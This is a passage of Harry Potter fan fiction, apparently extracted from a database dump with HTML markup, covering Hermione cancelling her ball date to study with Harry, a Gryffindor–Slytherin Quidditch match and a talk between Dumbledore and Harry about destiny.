&quot;About what?&quot; Lavender and Parvati questioned in unison.<br>\n\n\n<br>\n Hermione ignored their question and went back to treating her plant. But really she wasn\'t concentrating when she was still having that pesky little headache.<br>\n\n\n<br>\n She didn\'t really want to go to the ball. To be exact, she didn\'t want to go to the ball with Justin. She didn\'t know why, but she felt badly of it. Everytime her thoughts trailed back to the conversation she had with Harry before Justin had asked her to the ball.<br>\n\n\n<br>\n\n\n<i>&quot;Ok, ok. I won\'t force you to go. You wanna hit the books with me?&quot; Hermione asked.<br>\n\n\n<br>\n Harry laughed, &quot;Right.&quot;<br>\n\n\n<br>\n\n\n</i><i>&quot;No seriously!&quot;</i><br>\n\n\n<br>\n And then Justin had come along and asked her. And she had agreed. Now she was having a slight mind battle with herself in whether or not to go with Justin or not. She really didn\'t know why she had agreed to it in the first place. Perhaps she was slightly dazed...or perhaps she had been in a trance and wasn\'t very sure of what was going on around her. But no, those reasonings didn\'t make sense.<br>\n\n\n<br>\n And she had seen that look on Harry\'s face after Justin left in a very happy manner. That look was all it took to make her start thinking that perhaps she shouldn\'t have agreed. Especially when she had suggested Harry to \'hit the books\' with her. And they hadn\'t spoken to each other since. <br>\n\n\n<br>\n Hermione sighed again. She wondered what Harry thought. She wondered what Harry felt now. That she was someone that didn\'t stick to what she said? Yes, that was probably what Harry thought of her now. Oh, but did it matter what he thought of her? No, of course not! But then again, it <i>did</i> matter. Although she wasn\'t sure why it mattered, but it really did matter and no matter what, she didn\'t want Harry to dislike her.<br>\n\n\n<br>\n She wanted to help him. She liked being friends with him. And yes, she would admit it, she didn\'t want to lose this newly found friendship between them.<br>\n\n\n<br>\n And for that she needed to talk to Justin and say she couldn\'t go with him. But Hermione knew it wouldn\'t be that simple, she wasn\'t heartless. She just had to use her brain and find a way to gently bring it up to Justin. Yes, she would have to use her brain. <br>\n\n\n<br>\n\n\n<br>\n\n\n<center> ~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry was having an interesting week. That didn\'t mean it was an spectacular week, or a dreadful week, but it was just an interesting week. The Quidditch match was drawing ever so close, just two days away. They had been practicing the whole week, with Ron being very fidgety and impatient, but the days were good. The team accepted him warmly, and he was grateful for that. <br>\n\n\n<br>\n And Dean had woken up.<br>\n\n\n<br>\n Dean had grinned when the whole team came to see him in the Hospital Wing, and yet he wasn\'t that surprised to see Harry amongst the group. &quot;You\'re my replacement, aren\'t you?&quot;<br>\n\n\n<br>\n Harry had nodded.<br>\n\n\n<br>\n Dean had continued grinning. &quot;Well, that means you must be a pretty damn good Seeker! I\'m glad Ron found an replacement.&quot;<br>\n\n\n<br>\n Harry had felt his heart jump slightly. &quot;But since you\'re awake now, doesn\'t that mean you\'re back?&quot;<br>\n\n\n<br>\n The whole team had looked to Ron then to Dean. &quot;Well, technically yes. But I don\'t want to.&quot;<br>\n\n\n<br>\n Everyone stared. &quot;You don\'t?&quot; Harry had asked bluntly.<br>\n\n\n<br>\n &quot;Well, I do want to play Quidditch. But it\'s my mother,&quot; Dean rolled his eyes. &quot;She\'s worried sick that I\'ll get injured again so she won\'t let me back on a broomstick until I manage to persuade her to let me!&quot;<br>\n\n\n<br>\n Ron had laughed. &quot;Ha! Your mom is still the same. Paranoid about her little baby boy.&quot;<br>\n\n\n<br>\n &quot;Oh sod off,&quot; Dean had grunted. &quot;But yeah, I guess I\'m alright with it for now. And besides, we\'ve got another Seeker now.&quot;<br>\n\n\n<br>\n &quot;He\'s even better than you Dean!&quot; Colin had added.<br>\n\n\n<br>\n Dean grinned, &quot;Well, that\'s even better then, \'aint it?&quot; He looked at Harry. &quot;Harry Potter, glad you\'re on the team!&quot;<br>\n\n\n<br>\n And that was settled. Harry was Gryffindor Seeker, officially and permanent. So that was one of the good things that had happened during his interesting week. But of course, he was having troubles with his emotions and thoughts.<br>\n\n\n<br>\n One, there was Hermione Granger. He hadn\'t known why, but when she had agreed to go to the ball with Justin, he had wanted to leap up and say, &quot;But she told me to go and study with her!&quot; But no, he had remained silent. And when Justin left, disappointment finally sunk into his chest and he hadn\'t spoken to Hermione since then.<br>\n\n\n<br>\n Two, there were his dreams. Nightmares. He\'d been having them everyday night now. Every night he was haunted with disturbing images. Those familiar green flashes again, supposedly the death curse that killed his parents. A hooded figure, a pair of snake-like eyes, and himself covered in blood. Blood drenched his clothes. Blood crusted onto his matted hair. Blood pooling out around him. And yet there was always someone beside him.<br>\n\n\n<br>\n Always someone there. <br>\n\n\n<br>\n Always someone standing next to him. With him, helping him.<br>\n\n\n<br>\n And that was the only part of the nightmare that wasn\'t the least bit frightful. Yet he was also worried. Attacks had gone on throughout the week. Everyday Hedwig would bring a copy of the Daily Prophet to him during breakfast. Every morning the front cover would contain a story of another attack. They were all the same. Death Eaters. The Dark Mark.<br>\n\n\n<br>\n Harry didn\'t know why, but he was worried. Something nagged at him. Something made him wonder, if this could mean something. And yet the sensible side of himself knew it was silly to worry. He wasn\'t the only one worrying though, the whole wizarding community was rather shocked at all the train of attacks happening. Some thought it would just past by, some thought you-know-who was rising. <br>\n\n\n<br>\n Harry just worried.<br>\n\n\n<br>\n He had wanted to go to Dumbledore. Ask the wise wizard for assistance- with his nightmares, his questions. But he couldn\'t bring himself to go to the old man. Perhaps he felt insecure, better off with what he knew already. Or maybe he was scared of what Dumbledore would tell him. Maybe it was better off this way, with him not knowing anything at all.<br>\n\n\n<br>\n &quot;Harry!!&quot;<br>\n\n\n<br>\n Harry sat up in his chair and glanced surprisingly at the portait hole. &quot;Hermione? How did you get into my dorm?&quot;<br>\n\n\n<br>\n Hermione stood with her hair slightly a mess, breathless, and a bit of a sheepish look on her face. &quot;Well, I heard you mutter it last time when I came. I\'m sorry. I won\'t tell anyone at all.&quot;<br>\n\n\n<br>\n Harry simply smiled. &quot;It\'s alright.&quot;<br>\n\n\n<br>\n &quot;Good,&quot; She returned the smile and looked at him questioningly. &quot;So...we\'re alright?&quot;<br>\n\n\n<br>\n &quot;What do you mean?&quot;<br>\n\n\n<br>\n &quot;Well...I\'m not really sure how to say this,&quot; Hermione said softly.<br>\n\n\n<br>\n He glanced at her knowingly. &quot;It\'s alright. Have fun at the ball. It\'s in three days, are you ready?&quot;<br>\n\n\n<br>\n &quot;Um, that\'s just it,&quot; Hermione replied. &quot;I\'m not ready, and I\'ll never be ready.&quot;<br>\n\n\n<br>\n &quot;What?&quot; Harry said confusedly.<br>\n\n\n<br>\n Hermione laughed lightly. &quot;Oh don\'t you get it?&quot;<br>\n\n\n<br>\n &quot;Well, I get the part where you\'re not ready for the ball but...&quot;<br>\n\n\n<br>\n &quot;No, no you silly git,&quot; Hermione punched him playfully on the shoulder. &quot;I\'m <i>not</i> going!&quot;<br>\n\n\n<br>\n &quot;You\'re what?&quot;<br>\n\n\n<br>\n &quot;I\'m not going!&quot; Hermione repeated and watched as Harry\'s expression turned from confusion to expressionless, and finally a small smile quirked onto his lips.<br>\n\n\n<br>\n &quot;Really?&quot; He asked, trying to contain the happiness and excitement from his voice.<br>\n\n\n<br>\n She crossed her arms. &quot;Yes, would I lie to you about this?&quot;<br>\n\n\n<br>\n &quot;Of course not,&quot; Harry replied hastily. &quot;It\'s just....<i>why</i>?&quot;<br>\n\n\n<br>\n &quot;Don\'t you remember?&quot; Hermione asked in a fake voice of amazement. &quot;We\'re hitting the books together! Aren\'t we?&quot;<br>\n\n\n<br>\n Harry stared at her. &quot;What?&quot;<br>\n\n\n<br>\n &quot;You really are deaf today, Harry. Aren\'t you?&quot; Hermione teased.<br>\n\n\n<br>\n He grinned, &quot;You\'re serious?&quot;<br>\n\n\n<br>\n &quot;Yes.&quot;<br>\n\n\n<br>\n &quot;You want to \'hit the books\' with me rather than going to a ball?&quot; He asked quietly, averting his gaze from Hermione\'s bright face.<br>\n\n\n<br>\n She rolled her eyes, &quot;Yes Harry Potter, I rather spend the time with my friend studying than go to a ball with an acquaintance. Does that suit your ears?&quot;<br>\n\n\n<br>\n Harry just smiled, &quot;Thanks...&quot;<br>\n\n\n<br>\n &quot;Why? I mean...actually I should apologize,&quot; Hermione said thoughtfully. &quot;I asked you to study with me and then I agreed to go with Justin...I must have confused you...and I did ask you to do something else first, so..&quot;<br>\n\n\n<br>\n &quot;Oh.&quot; He said dryly. &quot;Is that why?&quot;<br>\n\n\n<br>\n &quot;....What do you mean?&quot;<br>\n\n\n<br>\n Harry glanced at the scarlet carpet. &quot;Because you felt bad for me? So you decided to not go with Justin and go study with me?&quot;<br>\n\n\n<br>\n &quot;No!&quot; Hermione said, her face full of alarm as she stared at Harry wide-eyed. &quot;No...&quot;<br>\n\n\n<br>\n &quot;Well...why else? Justin\'s Head-Boy...you two going together to the ball would be...perfect. It\'s alright really, I\'m fine.&quot;<br>\n\n\n<br>\n Hermione frowned. Right at this moment she wanted to pick up one of the velvet pillows on the couch and bonk Harry on the head with one of then. How could he have such low self-esteem? Hermione huffed, &quot;Harry Potter! Really! You\'re acting ridiculous.\'<br>\n\n\n<br>\n He didn\'t reply, but stared doubtfully at his feet again. Hermione sighed, &quot;Don\'t you get it? I like spending time with you more than going to some silly ball alright? How much clearer can I get?&quot;<br>\n\n\n<br>\n &quot;Hermione..&quot;<br>\n\n\n<br>\n &quot;And don\'t start with your awfully stupid ramblings about how I would want to spend time with you. I\'m your friend. People spend time with their friends,&quot; She said with frustration. &quot;Maybe that\'s why you\'ve never had any good friends! Maybe because you can\'t get it through your head that friends are there for you, and that being friends with someone means that you care about them and their feelings!&quot;<br>\n\n\n<br>\n Harry suddenly looked at her with his piercing emerald eyes, causing her to stop short and stare back. &quot;Well, maybe that <i>is</i> why. Right again, as usual Hermione.&quot;<br>\n\n\n<br>\n Her shoulders sagged as she watched Harry stand up and stick his hands into his pockets. Maybe she had spoken too harshly... &quot;Oh, Harry...nevermind..I didn\'t mean to say..&quot;<br>\n\n\n<br>\n &quot;No,&quot; He interupted, gently, &quot;You\'re right. You\'re my first true friend.&quot; He smiled now, a smile that warmed her from head to toe. &quot;You can be my teacher.&quot;<br>\n\n\n<br>\n &quot;What?&quot; <br>\n\n\n<br>\n &quot;My teacher,&quot; He repeated and ran a hand through his unruly hair, &quot;in making friends.&quot; He grinned. &quot;Since I\'m a beginner.&quot;<br>\n\n\n<br>\n Hermione raised an eyebrow, and suddenly broke into laughter. &quot;Alright then Mr. Potter. Lesson one.&quot; She stuck her hand out.<br>\n\n\n<br>\n Harry stared at her, then at her outstretched hand which looked very inviting. &quot;...Am I suppose to shake that? Or..&quot;<br>\n\n\n<br>\n &quot;No, silly!&quot; She giggled. &quot;Take my hand.&quot;<br>\n\n\n<br>\n &quot;...Alright,&quot; Harry shrugged and clasped his own hand around her smooth creamy hand. It was soft and warm to his touch, and it made his insides feel strangely light.<br>\n\n\n<br>\n &quot;Let\'s go outside!&quot;<br>\n\n\n<br>\n Harry\'s brow furrowed in slight confusion. &quot;In the blithering cold?&quot;<br>\n\n\n<br>\n &quot;Harry, it\'s not blithering cold!&quot; Hermione tugged his arm towards the potrait hole. &quot;Have some fun will you?&quot;<br>\n\n\n<br>\n &quot;...Ok..&quot;<br>\n\n\n<br>\n &quot;Aw, you don\'t sound very excited.&quot; Hermione pouted.<br>\n\n\n<br>\n Harry shook his head, but he was grinning. &quot;Oh stop using your girlish charm on me and let\'s go.&quot;<br>\n\n\n<br>\n &quot;Oooh, so I have charm?&quot;<br>\n\n\n<br>\n Harry rolled his eyes, dragging her out of the warm fire-lighted dorm room and out the portait hole, both laughing giddily as they ran through the torch-lighted hallways of Hogwarts. <br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry was shocked. Amazed, and excited as he flew over the stands of the Quidditch Pitch with the cheering crowds beneath him clad in scarlet and green. Waving banners and screams erupted in the air as the Gryffindor and Slytherin Quidditch teams took their positions and waited for Madame Hooch\'s whistle.<br>\n\n\n<br>\n &quot;On the count of three now.&quot;<br>\n\n\n<br>\n &quot;1...2....3!&quot; And the whistle blew and the Quaffle was in the air and everything just started in a blink of an eye.<br>\n\n\n<br>\n Hermione was cheering, and probably amongst one of the loudest cheerers in the Gryffindor crowd. She was waving a banner that flashed from &quot;Go Gryffindor!!&quot; to &quot;Go Harry!!&quot;, yet she was embarrassed if others got strange ideas, so she added every team member\'s name afterwards.<br>\n\n\n<br>\n As for Harry, he couldn\'t see the Snitch at all and was simply trying to dodge the Bludgers that got in his way. He frowned as Draco Malfoy came serving around him, sending him a sneer. &quot;Ah, look who we have here! Harry Potter?&quot;<br>\n\n\n<br>\n Harry glared. He didn\'t like Slytherins. Well in fact, no one did. But he had heard of Draco Malfoy and his horrible reputation. Everyone thought he would follow in his father\'s footsteps into the Dark Arts. &quot;Draco Malfoy.&quot; He muttered.<br>\n\n\n<br>\n &quot;Yes, sadly I <i>am</i> Draco Malfoy,&quot; The blonde said haughtily. &quot;That\'s just too bad for you isn\'t it?&quot;<br>\n\n\n<br>\n &quot;What are you saying?&quot; Harry kept his voice steady as he balanced on his broom.<br>\n\n\n<br>\n Draco laughed, &quot;What are you doing on the pitch anyways? Come here to kill yourself?&quot;<br>\n\n\n<br>\n Harry continued glaring.<br>\n\n\n<br>\n &quot;What? Trying to kill me by glaring at me?&quot; Draco smirked. &quot;I\'d say you better watch out.&quot;<br>\n\n\n<br>\n &quot;Wha..&quot;<br>\n\n\n<br>\n\n\n<i>Boom! </i>Harry felt himself tumble forward, his gloved hands clutching tightly to his (Dean\'s) broomstick as he doubled over and flipped. It felt like something very huge just punched him straight in the back as he finally regained his balance and looked around him in bewilderment.<br>\n\n\n<br>\n Draco Malfoy\'s laughter finally reached his ringing ears as the Slytherin Seeker flew by him. &quot;Really, you should have better reflexes in the game of Quidditch.&quot;<br>\n\n\n<br>\n Harry gritted his teeth as he swerved around him, just in time to see a Bludger speed by him. Bollocks. That was bloody embarrassing. &quot;I\'ll get that Snitch...if that\'s the last thing I do,&quot; Harry mumbled under his breath as he sped off in the opposite direction.<br>\n\n\n<br>\n Below, Hermione sat at the end of her seat biting her lip in agitation. She had watched as Draco Malfoy flew towards Harry and had also watched them conversing while a Bludger was definately speeding towards Harry\'s back. She had hollered out his name over and over again, but alas it was hopeless for Harry to hear her over the roaring crowds. <br>\n\n\n<br>\n And so she could do nothing but watch as Malfoy sneered and the oblivious expression on Harry\'s face told her that he knew nothing about the Bludger behind him. Yet all to soon the Bludger went smack into Harry\'s back and had sent him spiraling forwards in a series of flips. <br>\n\n\n<br>\n &quot;That should be a foul for Gryffindor! It was obvious that Malfoy distracted Potter so that he would get hit by that Bludger! I say that\'s just wrong!!&quot; Lee Jordan\'s familiar voice echoed out onto the Quidditch Pitch.<br>\n\n\n<br>\n Hermione completely agreed with Lee Jordan at the moment but Harry seemed to be managing as if the Bludger caused him no pain at all. Though Hermione doubted that being hit head on with a Bludger was painless. &quot;Come on Harry, show Malfoy what you\'ve got..&quot;<br>\n\n\n<br>\n As if hearing Hermione\'s silent prayer, Harry turned towards where she sat and waved, a grin spreading on his face as she saw her waving her banner that was currently flashing \'Go Harry!!!!\'. Hermione gave him the thumbs up sign and Harry just grinned wider.<br>\n\n\n<br>\n It was at that moment that Draco Malfoy literally pushed by Harry, causing him to swerve to his left. Harry didn\'t know why Malfoy was in such a hurry, but then he remembered- the Snitch. <br>\n\n\n<br>\n He looked wildly after Draco and saw that he was hot on persuit with the Snitch just ahead of him fluttering near the grass. Harry suddenly felt hopeless. How could he catch up with Draco when he was very much ahead of him? Harry swallowed. <i>Better try than regret later, Potter.</i><br>\n\n\n<br>\n Harry squinted his eyes as he focused all his attention towards the glittering Snitch, leaning over slightly to increase his speed as he sped after Draco in a straight line.<br>\n\n\n<br>\n &quot;THEY\'VE SPOTTED THE SNITCH!!&quot;<br>\n\n\n<br>\n This caused the crowds to fall silent and edge towards the side of the stands to get a clear view of the two Seekers zooming after the small golden ball. Hermione once again murmered her silent prayers in hoping that Harry would catch up to Draco...<br>\n\n\n<br>\n And once again it was as if Harry heard her, for suddenly the boy put on a burst of speed and was head to head with Draco.<br>\n\n\n<br>\n &quot;What are you doing, Potter?!&quot;<br>\n\n\n<br>\n &quot;Trying to get the Snitch.&quot; Harry replied shortly.<br>\n\n\n<br>\n Draco frowned and leaned his broom towards Harry\'s side, pushing him off course. Harry frowned and served right, leaving a small gap between the two, but Draco continued pushing towards Harry while his left hand was outstretched for the Snitch.<br>\n\n\n<br>\n The two were almost parallel with it, but were still slightly higher than it. Harry grunted and pushed with all his might, against Draco. Draco didn\'t give up, and pushed much harder, causing Harry to fall sideways slightly.<br>\n\n\n<br>\n &quot;Malfoy..&quot; Harry hissed.<br>\n\n\n<br>\n Draco sneered, &quot;What? Don\'t like playing games with me, Potter?&quot;<br>\n\n\n<br>\n Harry ignored him as he urged his broom faster, with Draco doing the same thing. They both sped at the Snitch at a horribly dangerous speed and <i> smack</i>, they both landed on the ground in a heap of scarlet and green robes, with their brooms no longer under them but beside them.<br>\n\n\n<br>\n Madame Hooch\'s whistle blew and the teams landed swiftly on the ground to check on their Seekers.<br>\n\n\n<br>\n &quot;Harry! Harry!&quot; Ron ran up to the pile of robes and helped Harry up. <br>\n\n\n<br>\n &quot;I\'m fine,&quot; Harry uttered as he stood up fully. His cheeks were smeered with dirt, with a few scratches on his face and hands, but nothing severe. Draco stood up beside him and grunted, &quot;Potter pushed me.&quot;<br>\n\n\n<br>\n Harry glared, &quot;<i>You</i> pushed me.&quot;<br>\n\n\n<br>\n Madame Pince came bustling about, with a rather mad look on her pudgy face. &quot;Oh stop arguing! You should be grateful you two are still alive! Quidditch! Really! I think it\'s too violent!&quot;<br>\n\n\n<br>\n &quot;Hey! But where\'s the Snitch?&quot; Ginny suddenly cried out.<br>\n\n\n<br>\n Draco looked around him and shrugged, &quot;It probably flew off again.&quot;<br>\n\n\n<br>\n &quot;Oh..&quot; Seamus muttered, disappointment evident in his voice.<br>\n\n\n<br>\n &quot;No...&quot;<br>\n\n\n<br>\n &quot;What?&quot; Everyone turned their heads to Harry.<br>\n\n\n<br>\n Harry lifted his right hand out of his pocket and produced the twittering golden Snitch in his palm. &quot;It\'s...right here.&quot; He said numbly.<br>\n\n\n<br>\n There was silence before the Gryffindor cheered and came running towards Harry and lifted him up on their shoulders in pure joy. &quot;Good job, mate!&quot;<br>\n\n\n<br>\n &quot;Splendid catch,&quot; Ginny grinned. &quot;Well...if you could call that a catch!&quot;<br>\n\n\n<br>\n Harry beamed as the crowds finally got the message that Gryffindor had won. He watched as everyone came up to him, patting him on the back and congratulated him. He suddenly felt happy, proud...and evey happy emotion that ever existed.<br>\n\n\n<br>\n &quot;Harry!&quot; A voice called out from the crowd.<br>\n\n\n<br>\n Harry turned to meet the warm honey-brown eyes of Hermione Granger, and he waved to her again. Hermione grinned brightly, her face glowing with pride as she waved back and gave him another thumbs up.<br>\n\n\n<br>\n Yet through all this happiness, it was one day until the Winter Solstice Ball. And no one worried, everyone just cheered. Through all this joy, no one could see the darkness that was ahead. Everything was perfect right now. And no one thought otherwise.<br>\n\n\n<br>\n Not even Harry.<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<i>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n</i><br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n '),
	(207, 11, ' <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Disclaimer: I don\'t own any of the original characters in Harry Potter, J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>Underneath it All<br>\n Chapter Eleven: Following Destiny</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry Potter felt...popular? Perhaps he did, perhaps he didn\'t, but he didn\'t know how to describe the light feeling in his stomach and how his whole body seemed to float on cloud nine. Yes, the Gryffindors were all in the common room partying for the victory that Gryffindor had received.<br>\n\n\n<br>\n &quot;Hi Harry!&quot; A Gryffindor that had never spoken to him smiled cheerfully at him from across the room.<br>\n\n\n<br>\n Harry returned the cheerful gesture as he joyously sucked on the tip of his sugar quill. &quot;How does it feel, mate?&quot;<br>\n\n\n<br>\n Ron Weasley plopped himself down onto the couch next to Harry with a wide grin plastered on his freckled face. &quot;It feels...nice.&quot; Harry replied thoughtfully.<br>\n\n\n<br>\n &quot;Nice?&quot;<br>\n\n\n<br>\n &quot;Well, more than nice. Brilliant really. Magnificent, how \'bout that?&quot; Harry grinned.<br>\n\n\n<br>\n Ron nodded, &quot;Well you should be proud. You won the game for us!&quot;<br>\n\n\n<br>\n Harry\'s cheek tinged red as he focused on his sugar quill again. &quot;It\'s just weird though, suddenly receiving so much attention.&quot;<br>\n\n\n<br>\n &quot;Oh but isn\'t it lovely?&quot; Another voice broke out.<br>\n\n\n<br>\n &quot;Hermione!&quot; They both greeted in unison.<br>\n\n\n<br>\n The Head Girl smiled brightly as she plucked the sugar quill from Harry\'s fingers. &quot;Haven\'t you had a bit too much sugar already Harry?&quot;<br>\n\n\n<br>\n &quot;I have not!&quot; Harry couldn\'t help but whine.<br>\n\n\n<br>\n &quot;Really! If my parents were here they would be furious,&quot; Hermione teased. &quot;Seriously though, you might get cavities from all this sugar. Where did all this candy come from anyways?&quot; She gave a side glance at Ron accusingly.<br>\n\n\n<br>\n Ron raised his hands. &quot;Don\'t look at me!&quot;<br>\n\n\n<br>\n &quot;Well, who else could it be?&quot; Hermione tapped her foot impatiently on the floor.<br>\n\n\n<br>\n &quot;It was Dean,&quot; Ron confessed. &quot;But it wouldn\'t be a party without goodies, right Harry?&quot;<br>\n\n\n<br>\n Harry nodded, &quot;Right.&quot;<br>\n\n\n<br>\n &quot;Boys,&quot; Hermione rolled her eyes but a smile crept onto her face nonetheless. &quot;Great catch Harry! I didn\'t know you could fly so well.&quot;<br>\n\n\n<br>\n &quot;Thanks,&quot; Harry swallowed, trying to keep his face from reddening. &quot;Uh...it\'s really stuffy in this room isn\'t it? I think I\'ll go for a short walk outside..&quot;<br>\n\n\n<br>\n &quot;Want us to join you?&quot; Ron offered.<br>\n\n\n<br>\n Harry shook his head, &quot;It\'s ok. I just need to take in some fresh air.&quot;<br>\n\n\n<br>\n Hermione watched as the Gryffindor Seeker stood up and strided across the room and out the portrait hole. She watched with worry, wondering if something was wrong. And yet she also watched with pride. She noticed a few changes in how Harry held himself now. He looked taller..perhaps he didn\'t hunch anymore. He walked straight, and tall- almost with great confidence. <br>\n\n\n<br>\n Hermione smiled. Yes, Harry was changing; in good ways of course.<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry shivered against the cold wind that whipped at his face as he stepped out of the old castle. He should have brought his scarf, but no, he hadn\'t really been thinking when he had left the common room.<br>\n\n\n<br>\n It was overwhelming, really. The change in everyone\'s attitude towards him. He found it rather unbelieavble, thinking that possibly it was just an illusion or a very very good dream. Yet it was so real, and he knew it was reality. A reality he had always dreamed of. A place where everyone accepted him, a place he could call home other than the Dursley\'s dreaded home. <br>\n\n\n<br>\n Harry breathed, watching as his breath came out in a tiny puff of smoke. He loved winter. It was always so magical and white with snow. He loved snow too. It made him feel even happier.<br>\n\n\n<br>\n &quot;Good evening, Harry.&quot;<br>\n\n\n<br>\n Harry spun around, nearly tripping on his foot as he caught sight of a familiar snow white beard; Dumbledore. &quot;Oh! Professor! Good evening..&quot; He spluttered as he regained his posture.<br>\n\n\n<br>\n The headmaster smiled, the kind twinkle in his eyes. &quot;Excellent flying.&quot;<br>\n\n\n<br>\n &quot;Th..thanks.&quot; <br>\n\n\n<br>\n &quot;Was it a surprise?&quot; Dumbledore questioned.<br>\n\n\n<br>\n Harry blinked through the snowflakes landing in his eyelashes. &quot;A surprise? Well...yes, it was.&quot;<br>\n\n\n<br>\n &quot;Why though, Harry? Was it a surprise?&quot;<br>\n\n\n<br>\n &quot;What?&quot; <br>\n\n\n<br>\n Professor Dumbledore merely chuckled, &quot;Shall I repeat my question?&quot;<br>\n\n\n<br>\n &quot;Er, no sir. It\'s alright, I understood it. Why was it a surprise?&quot; Harry lingered on the words in deep thought, then finally took a breath and answered, &quot;Because I didn\'t expect to catch it..?&quot;<br>\n\n\n<br>\n &quot;Ah, I see,&quot; His face never changed as he stared at Harry. &quot;Confidence is something you can gain Harry.&quot;<br>\n\n\n<br>\n Harry fell silent.<br>\n\n\n<br>\n &quot;You didn\'t think you could catch it, and yet you did. You can do great things Harry, and yet you feel that you cannot.&quot; Dumbledore spoke softly, and steadily. &quot;You have the abilities and the talents to do things that many cannot. It is just your choice to show it or not. Have you ever thought of it in this way?&quot;<br>\n\n\n<br>\n &quot;...I\'m not sure...&quot; Harry stuttered. &quot;What do you mean I can do many great things? So I can fly...and well, I\'m not as smart as Hermione of course.&quot; He added as an afterthought.<br>\n\n\n<br>\n Dumbledore smiled, &quot;Ah yes, Miss. Granger. A very brilliant young lady don\'t you agree? But that is not the point, we are talking about <i>you</i> , Harry. What <i>you</i> can accomplish, and what you<i> must</i> accomplish.&quot;<br>\n\n\n<br>\n &quot;Must?&quot;<br>\n\n\n<br>\n &quot;Do you believe in destiny or fate?&quot;<br>\n\n\n<br>\n &quot;..I haven\'t thought of that before,&quot; Harry replied thruthfully.<br>\n\n\n<br>\n &quot;That is perfectly alright,&quot; Dumbledore reassured. &quot;But do you believe in the term that everyone has a choice to make their own choices?&quot;<br>\n\n\n<br>\n Harry blinked, &quot;Uh..yes?&quot;<br>\n\n\n<br>\n &quot;Yes, and let\'s just say you do believe in destiny. Do you think you have a choice to follow your destiny or not?&quot; <br>\n\n\n<br>\n Harry felt his brain throb almost. It was painfully frustrating to answer Dumbledore\'s confusing questions, and he had no idea where the headmaster was getting at. &quot;I thought destiny was something that was set. As in it\'s something that can\'t be changed? So why would choices matter..&quot;<br>\n\n\n<br>\n &quot;Oh, but they do.&quot; Dumbledore said with a glint in his eye. &quot;There isn\'t just one outcome to any situation. You could have lost the Quidditch match, or you could\'ve won. And yet, you won. If you had lost, wouldn\'t that be another story?&quot;<br>\n\n\n<br>\n Harry frowned, &quot;Yes..&quot;<br>\n\n\n<br>\n &quot;And so, you have a fate you must meet, you have your own destiny that you must follow.&quot;<br>\n\n\n<br>\n &quot;I do?&quot; Harry asked with a furrowed brow.<br>\n\n\n<br>\n The headmaster\'s long wispy beard looked even whiter with the snowflakes that were landing on it. &quot;Yes, and it is your choice to have the brighter outcome, or the darker outcome. And sometimes...the darker outcome could be death.&quot;<br>\n\n\n<br>\n Harry bit his lip, instantly reminded of Hermione\'s nervous habit. He wanted to laugh, but he couldn\'t now, when the air between him and his professor seemed thick with tension. &quot;What do you mean, sir? Are you trying to tell me something?&quot; He finally asked, his patience running dry.<br>\n\n\n<br>\n Dumbledore chuckled, &quot;Perhaps I am, Harry. But I must say to you that you are not a simple ordinary boy.&quot;<br>\n\n\n<br>\n &quot;You\'ve told me that already...&quot;<br>\n\n\n<br>\n &quot;Ah, yes I have. But don\'t forget that,&quot; Dumbledore placed a comforting hand on his shoulder, locking Harry\'s eyes with his mysterious blue ones. &quot;You were meant for great things, and yet you haven\'t found out until now. My apologizes for not telling you the truth sooner, I know you must be angry with me?&quot;<br>\n\n\n<br>\n &quot;No sir..&quot; Harry shook his head earnestly. &quot;Of course not..&quot;<br>\n\n\n<br>\n &quot;Then that\'s good..&quot; Dumbledore dropped his hand. &quot;But always know that you <i>can </i>do it Harry. You can face every obstacle that finds itself into your path. You can live up to your destiny.&quot;<br>\n\n\n<br>\n Harry once again found himself unable to say anything. What was he suppose to say? Was he suppose to nod? That would simply make him look stupid. But he still nodded, and Dumbledore just watched him and nodded with a sigh.<br>\n\n\n<br>\n &quot;You better head into the castle, it\'s getting dark and I\'m pretty sure the Gryffindors need their star for the party.&quot; <br>\n\n\n<br>\n Harry blushed and nodded, &quot;Good night, sir.&quot;<br>\n\n\n<br>\n Dumbledore nodded as Harry turned around and headed back into the familiar hallways of Hogwarts, with no clue or any idea of why Dumbledore had told him all that. He shrugged as he stepped through the portrait hole again, only to be greeted with the bright grins and smiles of the other Gryffindors.<br>\n\n\n<br>\n And yet right now he felt empty, and Hermione caught his gaze and knew at once that something was out of place.<br>\n\n\n<br>\n\n\n<br>\n\n\n<center> ~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry sat on his chair restlessly, tapping his foot against the carpeted floor on the library and fumbling with his quill in his fingers. He glanced occasionally at the open book that layed in front of him and then back to his blank parchment that was supposedly his Herbology essay. <br>\n\n\n<br>\n Hermione glanced up from her own essay and looked curiously at Harry\'s blank parchment and expressionless face. &quot;Harry?&quot;<br>\n\n\n<br>\n &quot;Hmm?&quot;<br>\n\n\n<br>\n &quot;What are you doing?&quot;<br>\n\n\n<br>\n &quot;Hmmm..&quot;<br>\n\n\n<br>\n &quot;Harry?&quot; Hermione raised her voice slightly.<br>\n\n\n<br>\n &quot;Mm hmm..&quot;<br>\n\n\n<br>\n Hermione sighed as she reached across the table and shut Harry\'s book hard. Harry jolted up on his seat and blinked at Hermione. &quot;What??? Why\'d you do that?&quot;<br>\n\n\n<br>\n &quot;Because you were off in some crazy world and you didn\'t hear a thing I was saying,&quot; Hermione shook her head. &quot;Maybe you should go back to your room and sleep. Or do you want to go the ball instead 